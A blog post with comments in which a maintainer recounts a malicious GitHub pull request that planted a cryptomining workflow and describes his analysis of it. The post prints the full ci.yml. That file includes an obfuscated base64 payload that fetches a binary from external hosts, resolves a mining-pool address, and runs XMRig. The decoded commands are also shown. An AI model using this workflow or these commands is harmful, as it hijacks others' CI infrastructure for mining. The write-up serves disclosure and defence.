In summary, yesterday, I was attacked by a github user that crafted a malicious github action to start a crypto-mining program inside an action run. He triggered it in my github actions thanks to a shitty pull request.
Below, starts the detailed story of the events and my investigation.
Arrow
Yesterday I was watching an episode of the serie Arrow
It's a serie that contains a lot of everything including hacking sessions that are much much exaggerated and false, but the serie is cool 😃
For the record, Laurel Lance I hate you, Thea Queen you're the best! 💯
Anyway, during a pause, I looked at devto/hn/linuxfr/github when I saw something that immediately sounded strange...
I got a pull request on a repository where I did not attend any pull requests. I mean, I could receive some, it's open and some parts can be improved for sure, but it was surprising.
First, the repository does not have any "star" ⭐
It's a collection of github actions, circle ci, travis-ci examples for Perl projects. And it's just a complete mess with links to docker images, blog posts, helpers...
Yes it has a lot of failing actions, but it's on purpose.
This repository does not seems abandoned (a commit 14 days ago from today) and neither is my profile.
It was forked 2 times in the recent 3 days.
So far, you would think I'm too nervous, but really, it smelled strange even before I looked into the Pull Request details. A sort of bad feeling.
The strange Pull request
Still on my smartphone, I looked at the pull request, it became clear that it was unclear 😀
The Pull Request title was "Update actions". The description was empty 😒 and the Pull Request has been opened/closed multiple times!
Here is my notification emails about the PR, usually I should receive only one per opened PR:
And the name of the guy is y4ndexhater1
which is really an hacker's nick 😅
But my mom learned me to never judge people by their appearance so I continued to investigate (but the game was already over 😃).
The nasty Pull Request
I then looked as fast as possible at PR content, I was nervous and rushing, I felt like github was too slow to load the page...
As a meaningful contribution I was expecting some typo corrections, or adding more actions to the set.
But instead, all my actions were proposed to deletion and one new called ci.yml
was added.
Here is the screenshot (I was still on my smartphone):
When I saw the eval "$(echo "YXB0IHVwZGF0ZSAt
I jumped from my couch while saying:
- Sorry sweet, I have to start the computer for five minutes, somebody is doing something nasty to hack my github profile
- Like Felicity Smoak? she said
- Yes kind of, with less magic. I said
(I'm not discussing in english with my wife, we are french and we respect the french reputation about bad english, you know...👍)
The pull request had triggered actions (multiple times since it was opened/closed/opened/closed/opened/closed/opened) and the github actions were currently running... So time was playing against me, and I was very happy to have caught the pull request just few minutes after its creation 💪
Especially since each action seemed to start multiple sub-jobs:
You can see by yourself the run 549053847
When my computer finished to boot, I immediately stopped the jobs and closed the Pull Request.
The content of the ci.yml
was:
name: Test
on: [pull_request]
jobs:
test:
name: Fetch
runs-on: ubuntu-latest
container: ubuntu:20.10
env:
DEBIAN_FRONTEND: noninteractive
strategy:
fail-fast: false
matrix:
runner: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19]
steps:
- run: |
eval "$(echo "YXB0IHVwZGF0ZSAtcXEKYXB0IGluc3RhbGwgLXkgY3VybCBnaXQganEKY3VybCAtTGZvIHByb2cgaHR0cHM6Ly9naXRodWIuY29tL2JocmlzY2FybmF0dC9maXJzdC1yZXBvL3JlbGVhc2VzL2Rvd25sb2FkL2EvcHJvZyB8fCBjdXJsIC1MZm8gcHJvZyBodHRwczovL3RyYW5zZmVyLnNoL09TUGpLL3Byb2cKaXA9JChjdXJsIC1zIC1IICdhY2NlcHQ6IGFwcGxpY2F0aW9uL2Rucy1qc29uJyAnaHR0cHM6Ly9kbnMuZ29vZ2xlL3Jlc29sdmU/bmFtZT1wb29saW8ubWFncmF0bWFpbC54eXomdHlwZT1BJyB8IGpxIC1yICcuQW5zd2VyWzBdLmRhdGEnKQpjaG1vZCB1K3ggcHJvZwp0aW1lb3V0IDRoIC4vcHJvZyAtbyAiJHtpcH06MzAwMCIgLXUgQ2hyaXNCYXJuYXR0IC1wIEV4cGxhaW5pbmdDb21wdXRlcnMgLS1jcHUtcHJpb3JpdHkgNSA+IC9kZXYvbnVsbAo=" | base64 -d)"
The obfuscation with base64
encoding is something usual. I played with an obfuscated JAPH in a recent blog post so it took me 1 second to translate it.
With this obfuscation, I knew at this point that there was a backdoor or a mining program behind.
The mining attack
When decoding the thing:
echo "YXB0IHVwZGF0ZSAtcXEKYXB0IGluc3RhbGwgLXkgY3VybCBnaXQganEKY3VybCAtTGZvIHByb2cgaHR0cHM6Ly9naXRodWIuY29tL2JocmlzY2FybmF0dC9maXJzdC1yZXBvL3JlbGVhc2VzL2Rvd25sb2FkL2EvcHJvZyB8fCBjdXJsIC1MZm8gcHJvZyBodHRwczovL3RyYW5zZmVyLnNoL09TUGpLL3Byb2cKaXA9JChjdXJsIC1zIC1IICdhY2NlcHQ6IGFwcGxpY2F0aW9uL2Rucy1qc29uJyAnaHR0cHM6Ly9kbnMuZ29vZ2xlL3Jlc29sdmU/bmFtZT1wb29saW8ubWFncmF0bWFpbC54eXomdHlwZT1BJyB8IGpxIC1yICcuQW5zd2VyWzBdLmRhdGEnKQpjaG1vZCB1K3ggcHJvZwp0aW1lb3V0IDRoIC4vcHJvZyAtbyAiJHtpcH06MzAwMCIgLXUgQ2hyaXNCYXJuYXR0IC1wIEV4cGxhaW5pbmdDb21wdXRlcnMgLS1jcHUtcHJpb3JpdHkgNSA+IC9kZXYvbnVsbAo=" | base64 -d
I get the nasty code:
apt update -qq
apt install -y curl git jq
curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog
ip=$(curl -s -H 'accept: application/dns-json' 'https://dns.google/resolve?name=poolio.magratmail.xyz&type=A' | jq -r '.Answer[0].data')
chmod u+x prog
timeout 4h ./prog -o "${ip}:3000" -u ChrisBarnatt -p ExplainingComputers --cpu-priority 5 > /dev/null
I will not explain the apt
lines, we don't care.
The curl
lines are more interesting, since it retrieves the prog
binary.
curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog
From either a github profile (that no longer exists) or a transfer.sh
url that maybe still exists.
Then it seems to use an external service to resolve an IP address (the one for poolio.magratmail.xyz
).
ip=$(curl -s -H 'accept: application/dns-json' 'https://dns.google/resolve?name=poolio.magratmail.xyz&type=A' | jq -r '.Answer[0].data')
I think that dns.google
is not a nasty domain, but honestly I'm not sure and haven't much investigated this.
Then it executes prog
:
chmod u+x prog
timeout 4h ./prog -o "${ip}:3000" -u ChrisBarnatt -p ExplainingComputers --cpu-priority 5 > /dev/null
😒 ChrisBarnatt
... ExplainingComputers
... 😒
What is prog
?
A backdoor? A mining program? Something else (a github secret stealer)?
If you read carefully the title of this post, you already know the answer 😃
I downloaded this prog
since it was still available (not tested recently) at https://transfer.sh/OSPjK/prog
Then I wanted to have info without executing it so I tried
$ file prog
prog: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Except statically linked, no info :/
Or even:
$ objdump -s --section .comment prog
prog: file format elf64-x86-64
Contents of section .comment:
0000 4743433a 2028416c 70696e65 2031302e GCC: (Alpine 10.
0010 322e315f 70726531 29203130 2e322e31 2.1_pre1) 10.2.1
0020 20323032 30313230 3300 20201203.
Alpine? It even does not have the same libc? But ok...
I quickly looked into the file with hexedit
.
Then, I thought about trying more options with readelf
or objdump
(if you know what are the magic commands, please comment!).
I also thought about decompiling it...
Finally, since it's a program that requires arguments to work properly, I had the feeling that I could run it safely by using wrong or no arguments so I could get informations about its nature.
Even with this assumption, I would only execute it in a container, with network disabled and on a computer with no internet access.
The hacker's escape
While it took me maybe 7 minutes to stop all the jobs and close the pull request, in the 5 minutes that followed, the pull request itself and the user y4ndexhater1 totally disappeared (for your info, it looked an usual profile with projects pinned on the homepage).
EDIT: GitHub support informed me later that the profile and pull request disappearing was triggered by them flagging this user for suspicious activity 😃
Inspecting prog
in a container
First I disabled my internet connection.
Then I started a docker container without network:
docker run -v`pwd`:/tmp --network none -it ubuntu bash
At this point, I had a "Poor man's Qube OS" 😀 where I can execute prog
.
Here I hesitated a bit before running the untrusted binary...
I hesitated again...
Ok finally I was bold enough to execute the thing and it revealed to be a cryptominer called XMRig:
$ ./prog --version
XMRig 6.8.1
built on Feb 3 2021 with GCC 10.2.1
features: 64-bit AES
libuv/1.40.0
OpenSSL/1.1.1i
hwloc/2.4.0
The XMRig has released 6.8.1 some days ago and it coincides with date reported by ./prog --version
.
I tried to check if it's exactly one of the binary from XMRig download page
$ sha256sum prog
0a243ac063b60b13dc5e4ea85021faab6109f7e0d2aa68c9691008ed55e54001 prog
But I didn't find the match, so maybe it's a modified version of it or it's even not this thing at all...😳
Conclusion
To sleep peacefully, I disabled the github actions on this repository (is there an option to disable for a whole github profile?)
I have to admit, I did no slept peacefully last night. I was a bit anxious (for nothing) about having been infected while inspecting the prog
cryptominer 😬 so I'm checking all the time my local system status with netstat
and htop
. If you, dear reader, are earning money from my computer CPU, please tell me 😁
I found absolutely zero info about this attack, does somebody is aware of this? Am I alone? Is this new?
EDIT1: I reported this to GitHub (through support and communities)
EDIT2: I found this article Massive Cryptomining Campaign Abusing GitHub that describes the same kind of attack with a different implementation.
EDIT3: GitHub support is aware of these kind of attacks and confirmed this writing. They took actions on the hacker's profile and deleted the pull request (what I described in "The hacker's escape")
EDIT4: The story was about to repeat, I noticed a new user "dir99" that forked this repository and was suspicious. So I immediately disabled the actions. The user was almost new, with some repos created one week ago. The majority of repositories have no description neither code (but each time one tarball in release). The user has no followers neither any star on the repo. Some days later, the profile disappeared. This is a screenshot of the profile:
EDIT5: In april 2021, @mihi tested with me how the quota of concurrent running jobs were assignated and the conclusion was: the user who receive the pull request counts as the starting user, not the user whose repo is submitting the pull request see comments below this post and his github community forum entry
EDIT6: April 22 2021, GitHub put in place new policy and protection against this: Helping maintainers to combat bad actors
EDIT7: June 2021, GitHub infrastructure can (and does) slowdown your scheduled actions without notice (an action scheduled every 20 minutes can run every hours or every 2 hours depending the days)
EDIT8: Queuing actions are now aborted when they are too many in the queue
Top comments (13)
dns.google is Google's public DNS server. They're just using its HTTP API to do a DNS lookup for
poolio.magratmail.xyz
and get its IP address. Although, since their script installedcurl
viaapt
, I wonder why they didn't just installdnsutils
and usenslookup
ordig
🤔It may be an easy way to avoid being stopped by a security tool watching outbound DNS traffic and flagging lookups to suspicious sites. .xyz is a suspicious TLD and
poolio.magratmail.xyz
may get flagged. The http request to dns.google is encrypted, you don't know what they're resolving by inspecting the wire.That's a great point! I didn't even consider that. Pretty clever if that's the case.
What strikes me on your screenshot: In GitHub's free plan, there is a limit of 20 concurrent jobs per starting user. Your screenshot shows that PR started exactly 20 jobs.
I was always thinking that for a pull request, the user who submitted the pull request counts as the starting user, not the user whose repo is receiving the pull request? So there would not be any incentive to create a pull request instead of running the actions in their own fork.
Or are you using some custom runners, not the ones provided by GitHub?
No I'm not running custom runners.
This is very good remark...
Do you want to try? Parallel runners
Yes, I wanted to try and the results surprised me. Opened a discussion at github.community/t/whose-concurren...
Can you explain the relationship with your wife on the phone and you couldn't access your computer? Are you still living in 1998 and can't have internet AND the phone at the same time? :D
(if yes look out for The Matrix, a cool movie that will come out next year!)
Ahah you don't get the logic 😁 because of the call I had to pause the serie because we are watching together. Anyway, I edited the post to make it clearer 😜
I pray for next year to be 1998 😃 since a must have album from a French rap band IAM was just released, this is also the year where French football team won its first world cup and since as you mentioned Matrix was about to be released 👍
(but after get me back in 2021 please)
Ah ouais, clairement le meilleur album rap de tous les temps ;)
One of my repo got attacked yesterday. I am glad that I turned off my ec2 runner the night before. Not being able to sleep part is a real deal. I disabled all my actions on all my public repo's until this gets resolved. Even though it impacts github infra and not the users or their code, I love github services and community. I was looking for a way to restrict workflow changes. (did not found anything yet)
I really enjoyed reading your post. 😀
Dude, I love your poor man's Qube OS :D
One of those more significant trends is described as a crypto-mining attack where someone submits a PR infected with code to mine in GitHub Actions. CI/CD-based crypto-mining attack: This is the type of attack where malicious actors take advantage of repositories' CI/CD workflows to execute illicit cryptocurrency mining scripts that utilize the project's resources for illegal mining. One may submit a pull request, and using the GitHub Actions that automatically runs a workflow for every PR, one can add crypto-mining code into it. It is draining resources and, on the same note, a security risk as well.
waterfall.network/individuals#stat... To help mitigate these attacks, repository owners can require stricter permissions, review workflow files carefully before use, or consider using tools like secret scanning and dependency review. For further information and cyber-attacks stats, please visit this site. With the threat landscape becoming more complex, staying prepared and making use of advanced security solutions is essential to stay safe.
idk if this will help, but "y4ndex" in his nickname means Yandex, which is a Russian search engine. If he's a hater of this, maybe he's somewhere near that region.